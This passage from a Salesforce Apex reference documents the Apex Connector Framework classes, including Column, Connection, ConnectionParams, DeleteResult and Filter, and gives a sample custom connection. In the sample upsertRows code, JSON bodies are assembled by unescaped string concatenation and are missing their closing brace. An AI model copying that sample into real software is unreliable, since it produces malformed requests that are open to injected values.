The DataSource.Provider class returns DataSource.Capability enum values, which:
Specify the functional capabilities of the external system.
Determine which endpoint settings are available on the external data source definition in Salesforce.

Enum Values
The following are the values of the DataSource.Capability enum.
Value

Description

QUERY_PAGINATION_SERVER_DRIVEN

With server-driven paging, the external system determines the page sizes and batch
boundaries. The external system's paging settings can optimize the external system's

1549

Reference

Column Class

Value

Description
performance and improve the load times for external objects in your org. Also, the
external data set can change while your users or the Force.com platform are paging
through the result set. Typically, server-driven paging adjusts batch boundaries to
accommodate changing data sets more effectively than client-driven paging.
If you enable server-driven paging on an external data source, the external system
ignores any batch boundaries or page sizes that are specified in queries. Also, the
Apex code must generate a query token and use it to determine and fetch the next
batch of results.

QUERY_TOTAL_SIZE

The external system can provide the total number of rows that meet the query
criteria, even when requested to return a smaller batch size. This capability enables
you to simplify how you paginate results by using queryMore().

REQUIRE_ENDPOINT

Requires the administrator to specify the endpoint in the URL field in the external
data source definition.

REQUIRE_HTTPS

Requires the endpoint URL to use secure HTTP. If REQUIRE_ENDPOINT isnt

declared, REQUIRE_HTTPS is ignored.

ROW_CREATE

Allows creating of external data.

ROW_DELETE

Allows deleting external data.

ROW_QUERY

Allows API and SOQL queries of the external data.

ROW_UPDATE

Allows updating external data.

Allows SOSL and Salesforce searches of the external data.

When the custom adapter declares the SEARCH capability, you can control which
external objects are searchable by selecting or deselecting Allow Search on
each external object. However, syncing always overwrites the external objects
search status to match the search status of the external data source.
Only text, text area, and long text area fields on external objects can be searched.
If an external object has no searchable fields, searches on that object return no
records.

SEE ALSO:
Salesforce Help: Validate and Sync an External Data Source

Column Class
Describes a column on a DataSource.Table. This class extends the DataSourceUtil class and inherits its methods.

Namespace
DataSource

1550

Reference

Column Class

Usage
A list of column metadata is provided by the DataSource.Connection class when the sync() method is invoked. Each column
can become a field on an external object.
The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the column metadata doesnt
automatically update the stored metadata in Salesforce.
IN THIS SECTION:
Column Properties
Column Methods

Column Properties
The following are properties for Column.
IN THIS SECTION:
decimalPlaces
If the data type is numeric, the number of decimal places to the right of the decimal point.
description
Description of what the column represents.
filterable
Whether a result set can be filtered based on the values of the column.
label
User-friendly name for the column that appears in the Salesforce user interface.
length
If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number
of digits on both sides of the decimal point, but excluding the decimal point.
name
Name of the column in the external system.
referenceTargetField
API name of the custom field on the parent object whose values are compared against this columns values. Matching values identify
related records in an indirect lookup relationship. Applies only when the columns data type is INDIRECT_LOOKUP_TYPE. For
other data types, this value is ignored.
referenceTo
API name of the parent object in the relationship thats represented by this column. Applies only when the columns data type is
LOOKUP_TYPE, EXTERNAL_LOOKUP_TYPE, or INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.
sortable
Whether a result set can be sorted based on the values of the column via an ORDER BY clause.
type
Data type of the column.

1551

Reference

Column Class

decimalPlaces
If the data type is numeric, the number of decimal places to the right of the decimal point.

Signature
public Integer decimalPlaces {get; set;}

Property Value
Type: Integer

description
Description of what the column represents.

Signature
public String description {get; set;}

Property Value
Type: String

filterable
Whether a result set can be filtered based on the values of the column.

Signature
public Boolean filterable {get; set;}

Property Value
Type: Boolean

label
User-friendly name for the column that appears in the Salesforce user interface.

Signature
public String label {get; set;}

Property Value
Type: String

1552

Reference

Column Class

length
If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number of
digits on both sides of the decimal point, but excluding the decimal point.

Signature
public Integer length {get; set;}

Property Value
Type: Integer

name
Name of the column in the external system.

Signature
public String name {get; set;}

Property Value
Type: String

referenceTargetField
API name of the custom field on the parent object whose values are compared against this columns values. Matching values identify
related records in an indirect lookup relationship. Applies only when the columns data type is INDIRECT_LOOKUP_TYPE. For other
data types, this value is ignored.

Signature
public String referenceTargetField {get; set;}

Property Value
Type: String

referenceTo
API name of the parent object in the relationship thats represented by this column. Applies only when the columns data type is
LOOKUP_TYPE, EXTERNAL_LOOKUP_TYPE, or INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.

Signature
public String referenceTo {get; set;}

Property Value
Type: String

1553

Reference

Column Class

sortable
Whether a result set can be sorted based on the values of the column via an ORDER BY clause.

Signature
public Boolean sortable {get; set;}

Property Value
Type: Boolean

type
Data type of the column.

Signature
public DataSource.DataType type {get; set;}

Property Value
Type: DataSource.DataType

Column Methods
The following are methods for Column.
IN THIS SECTION:
boolean(name)
Returns a new column of data type BOOLEAN_TYPE.
externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces, referenceTo, referenceTargetField)
Returns a new column with the ten specified Column property values.
get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)
Returns a new column with the eight specified Column property values.
get(name, label, description, isSortable, isFilterable, type, length)
Returns a new column with the seven specified Column property values.
indirectLookup(name, domain, targetField)
Returns a new column of data type INDIRECT_LOOKUP_TYPE.
integer(name, length)
Returns a new numeric column with no decimal places using the specified name and length.
lookup(name, domain)
Returns a new column of data type LOOKUP_TYPE.

1554

Reference

Column Class

number(name, length, decimalPlaces)

Returns a new column of data type NUMBER_TYPE.
text(name, label, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name, label, and
length.
text(name, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.
text(name)
Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.
textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.
url(name, length)
Returns a new column of data type URL_TYPE with the specified name and length.
url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.

boolean(name)
Returns a new column of data type BOOLEAN_TYPE.

Signature
public static DataSource.Column boolean(String name)

Parameters
name

Type: String
Name of the column.

Return Value
Type: DataSource.Column

externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.

Signature
public static DataSource.Column externalLookup(String name, String domain)

Parameters
name

Type: String

1555

Reference

Column Class

Name of the column.

domain

Type: String
API name of the parent object in the external lookup relationship.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.EXTERNAL_LOOKUP_TYPE

length

255

decimalPlaces

referenceTo

domain

referenceTargetField

null

get(name, label, description, isSortable, isFilterable, type, length,

decimalPlaces, referenceTo, referenceTargetField)
Returns a new column with the ten specified Column property values.

Signature
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
Integer decimalPlaces, String referenceTo, String referenceTargetField)

Parameters
See Column Properties on page 1551 for information about each parameter.
name

Type: String
label

Type: String

1556

Reference

Column Class

description

Type: String
isSortable

Type: Boolean
isFilterable

Type: Boolean
type

Type: DataSource.DataType
length

Type: Integer
decimalPlaces

Type: Integer
referenceTo

Type: String
referenceTargetField

Type: String

Return Value
Type: DataSource.Column

get(name, label, description, isSortable, isFilterable, type, length,

decimalPlaces)
Returns a new column with the eight specified Column property values.

Signature
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
Integer decimalPlaces)

Parameters
See Column Properties on page 1551 for information about each parameter.
name

Type: String
label

Type: String
description

Type: String
isSortable

Type: Boolean
isFilterable

Type: Boolean

1557

Reference

Column Class

type

Type: DataSource.DataType
length

Type: Integer
decimalPlaces

Type: Integer

Return Value
Type: DataSource.Column

get(name, label, description, isSortable, isFilterable, type, length)

Returns a new column with the seven specified Column property values.

Signature
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length)

Parameters
See Column Properties on page 1551 for information about each parameter.
name

Type: String
label

Type: String
description

Type: String
isSortable

Type: Boolean
isFilterable

Type: Boolean
type

Type: DataSource.DataType
length

Type: Integer

Return Value
Type: DataSource.Column

indirectLookup(name, domain, targetField)

Returns a new column of data type INDIRECT_LOOKUP_TYPE.

1558

Reference

Column Class

Signature
public static DataSource.Column indirectLookup(String name, String domain, String
targetField)

Parameters
name

Type: String
Name of the column.
domain

Type: String
API name of the parent object in the indirect lookup relationship.
targetField

Type: String
API name of the custom field on the parent object whose values are compared against this columns values. Matching values identify
related records in an indirect lookup relationship.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.INDIRECT_LOOKUP_TYPE

length

255

decimalPlaces

referenceTo

domain

referenceTargetField

targetField

integer(name, length)
Returns a new numeric column with no decimal places using the specified name and length.

Signature
public static DataSource.Column integer(String name, Integer length)

1559

Reference

Column Class

Parameters
name

Type: String
The column name.
length

Type: Integer
The column length.

Return Value
Type: DataSource.Column

lookup(name, domain)
Returns a new column of data type LOOKUP_TYPE.

Signature
public static DataSource.Column lookup(String name, String domain)

Parameters
name

Type: String
Name of the column.
domain

Type: String
API name of the parent object in the lookup relationship.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.LOOKUP_TYPE

length

255

1560

Reference

Column Class

Property

Value

decimalPlaces

referenceTo

domain

referenceTargetField

null

number(name, length, decimalPlaces)

Returns a new column of data type NUMBER_TYPE.

Signature
public static DataSource.Column number(String name, Integer length, Integer
decimalPlaces)

Parameters
See Column Properties on page 1551 for information about each parameter.
name

Type: String
length

Type: Integer
decimalPlaces

Type: Integer

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.NUMBER_TYPE

length

decimalPlaces

1561

Reference

Column Class

text(name, label, length)

Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name, label, and length.

Signature
public static DataSource.Column text(String name, String label, Integer length)

Parameters
name

Type: String
Name of the column.
label

Type: String
User-friendly name for the column that appears in the Salesforce user interface.
length

Type: Integer
Number of characters allowed in the column.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

description

label

isSortable

true

isFilterable

true

type

DataSource.DataType.STRING_SHORT_TYPE if length is 255 or less

DataSource.DataType.STRING_LONG_TYPE if length is greater than 255

length

decimalPlaces

text(name, length)
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.

1562

Reference

Column Class

Signature
public static DataSource.Column text(String name, Integer length)

Parameters
name

Type: String
Name of the column.
length

Type: Integer
Number of characters allowed in the column.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.STRING_SHORT_TYPE if length is 255 or

less
DataSource.DataType.STRING_LONG_TYPE if length is greater
than 255

length

decimalPlaces

text(name)
Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.

Signature
public static DataSource.Column text(String name)

Parameters
name

Type: String

1563

Reference

Column Class

Name of the column.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.STRING_SHORT_TYPE

length

255

decimalPlaces

textarea(name)
Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.

Signature
public static DataSource.Column textarea(String name)

Parameters
name

Type: String
Name of the column.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

1564

Reference

Column Class

Property

Value

isFilterable

true

type

DataSource.DataType.STRING_LONG_TYPE

length

32000

decimalPlaces

url(name, length)
Returns a new column of data type URL_TYPE with the specified name and length.

Signature
public static DataSource.Column url(String name, Integer length)

Parameters
name

Type: String
Name of the column.
length

Type: Integer
Number of characters allowed in the column.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.URL_TYPE

length

decimalPlaces

1565

Reference

ColumnSelection Class

url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.

Signature
public static DataSource.Column url(String name)

Parameters
name

Type: String
Name of the column.

Return Value
Type: DataSource.Column
The returned column has these property values.
Property

Value

name

label

name

description

name

isSortable

true

isFilterable

true

type

DataSource.DataType.URL_TYPE

length

1000

decimalPlaces

ColumnSelection Class
Identifies the list of columns to return during a query or search.

Namespace
DataSource Namespace

Usage
This class is associated with the SELECT clause for a SOQL query, or the RETURNING clause for a SOSL query.
IN THIS SECTION:
ColumnSelection Properties

1566

Reference

ColumnSelection Class

ColumnSelection Properties
The following are properties for ColumnSelection.
IN THIS SECTION:
aggregation
How to aggregate the columns data.
columnName
Name of the selected column.
tableName
Name of the columns table.

aggregation
How to aggregate the columns data.

Signature
public DataSource.QueryAggregation aggregation {get; set;}

Property Value
Type: DataSource.QueryAggregation

columnName
Name of the selected column.

Signature
public String columnName {get; set;}

Property Value
Type: String

tableName
Name of the columns table.

Signature
public String tableName {get; set;}

Property Value
Type: String

1567

Reference

Connection Class

Connection Class
Extend this class to enable your Salesforce org to sync the external systems schema and to handle queries, searches, and write operations
(upsert and delete) of the external data. This class extends the DataSourceUtil class and inherits its methods.

Namespace
DataSource

Usage
Your DataSource.Connection and DataSource.Provider classes compose a custom adapter for Salesforce Connect.
Changing the sync method on the DataSource.Connection class doesnt automatically resync any external objects.

Example
global class SampleDataSourceConnection extends DataSource.Connection {
global SampleDataSourceConnection(DataSource.ConnectionParams connectionParams) {
}
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables = new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('Name', 255));
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
tables.add(DataSource.Table.get('Sample', 'Title', columns));
return tables;
}
override global DataSource.TableResult query(DataSource.QueryContext c) {
return DataSource.TableResult.get(c, DataSource.QueryUtils.process(c, getRows()));
}
override global List<DataSource.TableResult> search(DataSource.SearchContext c) {
List<DataSource.TableResult> results = new List<DataSource.TableResult>();
for (DataSource.TableSelection tableSelection : c.tableSelections) {
results.add(DataSource.TableResult.get(tableSelection, getRows()));
}
return results;
}
// Helper method to get record values from the external system for the Sample table.
private List<Map<String, Object>> getRows () {
// Get row field values for the Sample table from the external system via a callout.
HttpResponse response = makeGetCallout();
// Parse the JSON response and populate the rows.
Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(

1568

Reference

Connection Class

response.getBody());
Map<String, Object> error = (Map<String, Object>)m.get('error');
if (error != null) {
throwException(string.valueOf(error.get('message')));
}
List<Map<String,Object>> rows = new List<Map<String,Object>>();
List<Object> jsonRows = (List<Object>)m.get('value');
if (jsonRows == null) {
rows.add(foundRow(m));
} else {
for (Object jsonRow : jsonRows) {
Map<String,Object> row = (Map<String,Object>)jsonRow;
rows.add(foundRow(row));
}
}
return rows;
}
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext
context) {
if (context.tableSelected == 'Sample') {
List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
List<Map<String, Object>> rows = context.rows;
for (Map<String, Object> row : rows){
// Make a callout to insert or update records in the external system.
HttpResponse response;
// Determine whether to insert or update a record.
if (row.get('ExternalId') == null){
// Send a POST HTTP request to insert new external record.
// Make an Apex callout and get HttpResponse.
response = makePostCallout(
'{"name":"' + row.get('Name') + '","ExternalId":"' +
row.get('ExternalId') + '"');
}
else {
// Send a PUT HTTP request to update an existing external record.
// Make an Apex callout and get HttpResponse.
response = makePutCallout(
'{"name":"' + row.get('Name') + '","ExternalId":"' +
row.get('ExternalId') + '"',
String.valueOf(row.get('ExternalId')));
}
// Check the returned response.
// First, deserialize it.
Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(
response.getBody());
if (response.getStatusCode() == 200){
results.add(DataSource.UpsertResult.success(
String.valueOf(m.get('id'))));
}
else {
results.add(DataSource.UpsertResult.failure(

1569

Reference

Connection Class

String.valueOf(m.get('id')),
'The callout resulted in an error: ' +
response.getStatusCode()));
}
}
return results;
}
return null;
}
global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext
context) {
if (context.tableSelected == 'Sample'){
List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
for (String externalId : context.externalIds){
HttpResponse response = makeDeleteCallout(externalId);
if (response.getStatusCode() == 200){
results.add(DataSource.DeleteResult.success(externalId));
}
else {
results.add(DataSource.DeleteResult.failure(externalId,
'Callout delete error:'
+ response.getBody()));
}
}
return results;
}
return null;
}
// Helper methods
// Make a GET callout
private static HttpResponse makeGetCallout() {
HttpResponse response;
// Make callout
// ...
return response;
}
// Populate a row based on values from the external system.
private Map<String,Object> foundRow(Map<String,Object> foundRow) {
Map<String,Object> row = new Map<String,Object>();
row.put('ExternalId', string.valueOf(foundRow.get('Id')));
row.put('DisplayUrl', string.valueOf(foundRow.get('DisplayUrl')));
row.put('Name', string.valueOf(foundRow.get('Name')));
return row;
}
// Make a POST callout
private static HttpResponse makePostCallout(String jsonBody) {
HttpResponse response;
// Make callout
// ...

1570

Reference

Connection Class

return response;
}
// Make a PUT callout
private static HttpResponse makePutCallout(String jsonBody, String externalID) {
HttpResponse response;
// Make callout
// ...
return response;
}
// Make a DELETE callout
private static HttpResponse makeDeleteCallout(String externalID) {
HttpResponse response;
// Make callout
// ...
return response;
}
}

IN THIS SECTION:
Connection Methods

Connection Methods
The following are methods for Connection.
IN THIS SECTION:
deleteRows(deleteContext)
Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.
query(queryContext)
Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external objects list
view or record detail page in Salesforce. Returns the results of the query.
search(searchContext)
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects.
Returns the results of the query.
sync()
Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe
the external systems schema.
upsertRows(upsertContext)
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.

deleteRows(deleteContext)
Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.

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Reference

Connection Class

Signature
public List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext deleteContext)

Parameters
deleteContext

Type: DataSource.DeleteContext
Contains context information about the delete request.

Return Value
Type: List<DataSource.DeleteResult>
The results of the delete operation.

query(queryContext)
Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external objects list view
or record detail page in Salesforce. Returns the results of the query.

Signature
public DataSource.TableResult query(DataSource.QueryContext queryContext)

Parameters
queryContext

Type: DataSource.QueryContext
Represents the query to run against a data table.

Return Value
Type: DataSource.TableResult

search(searchContext)
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects.
Returns the results of the query.

Signature
public List<DataSource.TableResult> search(DataSource.SearchContext searchContext)

Parameters
searchContext

Type: DataSource.SearchContext
Represents the query to run against an external data table.

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Reference

ConnectionParams Class

Return Value
Type: List<DataSource.TableResult>

sync()
Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe
the external systems schema.

Signature
public List<DataSource.Table> sync()

Return Value
Type: List<DataSource.Table>
Each returned table can be used to create an external object in Salesforce. On the Validate External Data Source page, the administrator
views the list of returned tables and selects which tables to sync. When the administrator clicks Sync, an external object is created for
each selected table. Each column within the selected tables also becomes a field in the external object.

upsertRows(upsertContext)
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.

Signature
public List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext upsertContext)

Parameters
upsertContext

Type: DataSource.UpsertContext
Contains context information about the upsert request.

Return Value
Type: List<DataSource.UpsertResult>
The results of the upsert operation.

ConnectionParams Class
Contains the credentials for authenticating to the external system.

Namespace
DataSource

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Reference

ConnectionParams Class

Usage
If your extension of the DataSource.Provider class returns DataSource.AuthenticationCapability values that
indicate support for authentication, the DataSource.Connection class is instantiated with a
DataSource.ConnectionParams instance in the constructor.
The authentication credentials in the DataSource.ConnectionParams instance depend on the Identity Type field of
the external data source definition in Salesforce.
If Identity Type is set to Named Principal, the credentials come from the external data source definition.
If Identity Type is set to Per User:
For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the users authentication settings for the external system.
For administrative connections, such as syncing the external systems schema, the credentials come from the external data
source definition.
The values in this class can appear in debug logs and can be accessed by users who have the Author Apex permission. If you require
better security, we recommend that you specify named credentials instead of URLs as your Apex callout endpoints. Salesforce manages
all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesnt have to.
IN THIS SECTION:
ConnectionParams Properties

ConnectionParams Properties
The following are properties for ConnectionParams.
IN THIS SECTION:
certificateName
The name of the certificate for establishing each connection to the external system.
endpoint
The URL of the external system.
oauthToken
The OAuth token thats issued by the external system.
password
The password for authenticating to the external system.
principalType
An instance of DataSource.IdentityType, which determines which set of credentials to use to access the external system.
protocol
The type of protocol thats used to authenticate to the external system.
repository
Reserved for future use.
username
The username for authenticating to the external system.

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Reference

ConnectionParams Class

certificateName
The name of the certificate for establishing each connection to the external system.

Signature
public String certificateName {get; set;}

Property Value
Type: String
The value comes from the external data source definition in Salesforce.

endpoint
The URL of the external system.

Signature
public String endpoint {get; set;}

Property Value
Type: String
The value comes from the external data source definition in Salesforce.

oauthToken
The OAuth token thats issued by the external system.

Signature
public String oauthToken {get; set;}

Property Value
Type: String

password
The password for authenticating to the external system.

Signature
public String password {get; set;}

Property Value
Type: String
The value depends on the Identity Type field of the external data source definition in Salesforce.

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Reference

ConnectionParams Class

If Identity Type is set to Named Principal, the credentials come from the external data source definition.
If Identity Type is set to Per User:
For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the users authentication settings for the external system.
For administrative connections, such as syncing the external systems schema, the credentials come from the external data
source definition.

principalType
An instance of DataSource.IdentityType, which determines which set of credentials to use to access the external system.

Signature
public DataSource.IdentityType principalType {get; set;}

Property Value
Type: DataSource.IdentityType

protocol
The type of protocol thats used to authenticate to the external system.

Signature
public DataSource.AuthenticationProtocol protocol {get; set;}

Property Value
Type: DataSource.AuthenticationProtocol

repository
Reserved for future use.

Signature
public String repository {get; set;}

Property Value
Type: String
Reserved for future use.

username
The username for authenticating to the external system.

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Reference

DataSourceUtil Class

Signature
public String username {get; set;}

Property Value
Type: String
The value depends on the Identity Type field of the external data source definition in Salesforce.
If Identity Type is set to Named Principal, the credentials come from the external data source definition.
If Identity Type is set to Per User:
For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come
from the users authentication settings for the external system.
For administrative connections, such as syncing the external systems schema, the credentials come from the external data
source definition.

DataSourceUtil Class
Parent class for the DataSource.Provider, DataSource.Connection, DataSource.Table, and
DataSource.Column classes.

Namespace
DataSource
IN THIS SECTION:
DataSourceUtil Methods

DataSourceUtil Methods
The following are methods for DataSourceUtil.
IN THIS SECTION:
logWarning(message)
Logs the error message in the debug log.
throwException(message)
Throws a DataSourceException and displays the provided message to the user.

logWarning(message)
Logs the error message in the debug log.

Signature
public void logWarning(String message)

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Reference

DataType Enum

Parameters
message

Type: String
The error message.

Return Value
Type: void

throwException(message)
Throws a DataSourceException and displays the provided message to the user.

Signature
public void throwException(String message)

Parameters
message

Type: String
Error message to display to the user.

Return Value
Type: void

DataType Enum
Specifies the data types that are supported by the Apex Connector Framework.

Usage
The DataSource.DataType enum is referenced by the type property on the DataSource.Column class.

Enum Values
The following are the values of the DataSource.DataType enum.
Value

Description

BOOLEAN_TYPE

Boolean

DATETIME_TYPE

Date/time

EXTERNAL_LOOKUP_TYPE

External lookup relationship

INDIRECT_LOOKUP_TYPE

Indirect lookup relationship

LOOKUP_TYPE

Lookup relationship

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Reference

DeleteContext Class

Value

Description

NUMBER_TYPE

Number

STRING_LONG_TYPE

Long text area

STRING_SHORT_TYPE

Text area

URL_TYPE

URL

DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The class
provides context information about the delete request to the implementor of deleteRows().

Namespace
DataSource

Usage
The Apex Connector Framework creates context for operations. Context is comprised of parameters about the operations, which other
methods can use. An instance of the DeleteContext class packages these parameters into an object that can be used when a
deleteRows() operation is initiated.
IN THIS SECTION:
DeleteContext Properties

DeleteContext Properties
The following are properties for DeleteContext.
IN THIS SECTION:
externalIds
The external IDs of the rows representing external object records to delete.
tableSelected
The name of the table to delete rows from.

externalIds
The external IDs of the rows representing external object records to delete.

Signature
public List<String> externalIds {get; set;}

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Reference

DeleteResult Class

Property Value
Type: List<String>

tableSelected
The name of the table to delete rows from.

Signature
public String tableSelected {get; set;}

Property Value
Type: String

DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows method
of the DataSource.Connection class.

Namespace
DataSource

Usage
A delete operation on external object records generates an array of objects of type DataSource.DeleteResult. Its methods
create result records that indicate whether the delete operation succeeded or failed.
IN THIS SECTION:
DeleteResult Properties
DeleteResult Methods

DeleteResult Properties
The following are properties for DeleteResult.
IN THIS SECTION:
errorMessage
The error message thats generated by a failed delete operation. Recorded with a result of type DataSource.DeleteResult.
externalId
The unique identifier of a row that represents an external object record to delete.
success
Indicates whether a delete operation succeeded or failed.

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Reference

DeleteResult Class

errorMessage
The error message thats generated by a failed delete operation. Recorded with a result of type DataSource.DeleteResult.

Signature
public String errorMessage {get; set;}

Property Value
Type: String

externalId
The unique identifier of a row that represents an external object record to delete.

Signature
public String externalId {get; set;}

Property Value
Type: String

success
Indicates whether a delete operation succeeded or failed.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

DeleteResult Methods
The following are methods for DeleteResult.
IN THIS SECTION:
equals(obj)
Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is
dynamic and is based on the equals method in Java.
failure(externalId, errorMessage)
Creates a delete result indicating the failure of a delete request for a given external ID.
hashCode()
Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.

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Reference

DeleteResult Class

success(externalId)
Creates a delete result indicating the successful completion of a delete request for a given external ID.

equals(obj)
Maintains the integrity of lists of type DeleteResult by determining the equality of external objects in a list. This method is dynamic
and is based on the equals method in Java.

Signature
public Boolean equals(Object obj)

Parameters
obj

Type: Object
External object whose key is to be validated.
For information about the equals method, see Using Custom Types in Map Keys and Sets on page 107.

Return Value
Type: Boolean

failure(externalId, errorMessage)
Creates a delete result indicating the failure of a delete request for a given external ID.

Signature
public static DataSource.DeleteResult failure(String externalId, String errorMessage)

Parameters
externalId

Type: String
The unique identifier of the sObject record to delete.
errorMessage

Type: String
The reason the delete operation failed.

Return Value
Type: DataSource.DeleteResult
Status result of the delete operation.

hashCode()
Maintains the integrity of lists of type DeleteResult by determining the uniqueness of the external object records in a list.

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Reference

Filter Class

Signature
public Integer hashCode()

Return Value
Type: Integer

success(externalId)
Creates a delete result indicating the successful completion of a delete request for a given external ID.

Signature
public static DataSource.DeleteResult success(String externalId)

Parameters
externalId

Type: String
The unique identifier of the sObject record to delete.

Return Value
Type: DataSource.DeleteResult
Status result of the delete operation for the sObject with the given external ID.

Filter Class
Represents a WHERE clause in a SOSL or SOQL query.

Namespace
DataSource

Usage
Compound types require child filters. Specifically, the subfilters property cant be null if the type property is NOT_, AND_, or
OR_.
IN THIS SECTION:
Filter Properties

Filter Properties
The following are properties for Filter.

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Reference

Filter Class

IN THIS SECTION:
columnName
Name of the column thats being evaluated in a simple comparative type of filter.
columnValue
Value that the filter compares records against in a simple comparative type of filter.
subfilters
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.
tableName
Name of the table whose column is being evaluated in a simple comparative type of filter.
type
Type of filter operation that limits the returned data.

columnName
Name of the column thats being evaluated in a simple comparative type of filter.

Signature
public String columnName {get; set;}

Property Value
Type: String

columnValue
Value that the filter compares records against in a simple comparative type of filter.

Signature
public Object columnValue {get; set;}

Property Value
Type: Object

subfilters
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.

Signature
public List<DataSource.Filter> subfilters {get; set;}

Property Value
Type: List<DataSource.Filter>

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Reference

FilterType Enum

tableName
Name of the table whose column is being evaluated in a simple comparative type of filter.

Signature
public String tableName {get; set;}

Property Value
Type: String

type
Type of filter operation that limits the returned data.

Signature
public DataSource.FilterType type {get; set;}

Property Value
Type: DataSource.FilterType

FilterType Enum
Referenced by the type property on a DataSource.Filter.

Usage
Determines how to limit the returned data.

Enum Values
The following are the values of the DataSource.FilterType enum.
Value

Description

AND_

This compound filter type returns all rows that match all the subfilters.

CONTAINS

Simple comparative filter type.

ENDS_WITH

Simple comparative filter type.

EQUALS

Simple comparative filter type.

GREATER_THAN

Simple comparative filter type.

GREATER_THAN_OR_EQUAL_TO

Simple comparative filter type.

LESS_THAN

Simple comparative filter type.

LESS_THAN_OR_EQUAL_TO

Simple comparative filter type.

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Reference

IdentityType Enum

Value

Description

LIKE_

Simple comparative filter type.

NOT_

This compound filter type returns the rows that dont match the subfilter.

NOT_EQUALS

Simple comparative filter type.

OR_

This compound filter type returns all rows that match any of the subfilters.

STARTS_WITH

Simple comparative filter type.

IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.

Usage
The relevant credentials are passed to your DataSource.Connection class.

Enum Values
The following are the values of the DataSource.IdentityType enum.
Value

Description

ANONYMOUS

No credentials are used to authenticate to the external system.

NAMED_USER

The credentials in the external data source definition are used to authenticate to
the external system, regardless of which user is accessing the external data from
your organization.

PER_USER

For queries and searches, the credentials are specific to the current user who invokes
the query or search. The credentials come from the users authentication settings
for the external system.
For administrative connections, such as syncing the external systems schema, the
credentials come from the external data source definition.

Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.

Namespace
DataSource

Usage
Used in the order property on the DataSource.TableSelection class.

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Reference

Order Class

IN THIS SECTION:
Order Properties
Order Methods

Order Properties
The following are properties for Order.
IN THIS SECTION:
